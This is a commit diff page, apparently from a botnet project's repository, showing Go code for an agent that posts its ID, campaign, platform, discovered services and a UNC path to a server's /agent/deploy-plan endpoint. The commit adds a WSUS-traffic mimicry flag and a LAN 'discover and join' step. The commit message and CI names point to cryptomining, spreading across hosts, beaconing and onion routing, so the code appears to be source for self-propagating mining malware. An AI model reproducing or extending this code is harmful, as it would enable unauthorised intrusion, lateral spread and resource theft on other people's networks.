Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -33,12 +33,13 @@ func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, un
|
||||
return out, err
|
||||
}
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": c.agentID,
|
||||
"build_id": c.cfg.BuildID,
|
||||
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
"platform": runtime.GOOS,
|
||||
"services": services,
|
||||
"unc_path": uncPath,
|
||||
"agent_id": c.agentID,
|
||||
"build_id": c.cfg.BuildID,
|
||||
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
"platform": runtime.GOOS,
|
||||
"services": services,
|
||||
"unc_path": uncPath,
|
||||
"wsus_format_mimic": c.cfg.WSUSFormatMimic,
|
||||
})
|
||||
req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
@@ -76,7 +77,7 @@ func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) {
|
||||
fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
|
||||
return c.fetchDeployPlan(services, uncPath)
|
||||
}
|
||||
lane, detail, err := deploy.RunDiscoverAndJoin(c.cfg, maxLANHosts, fetch)
|
||||
lane, detail, err := deploy.RunDiscoverAndJoinAs(c.cfg, maxLANHosts, c.agentID, fetch)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user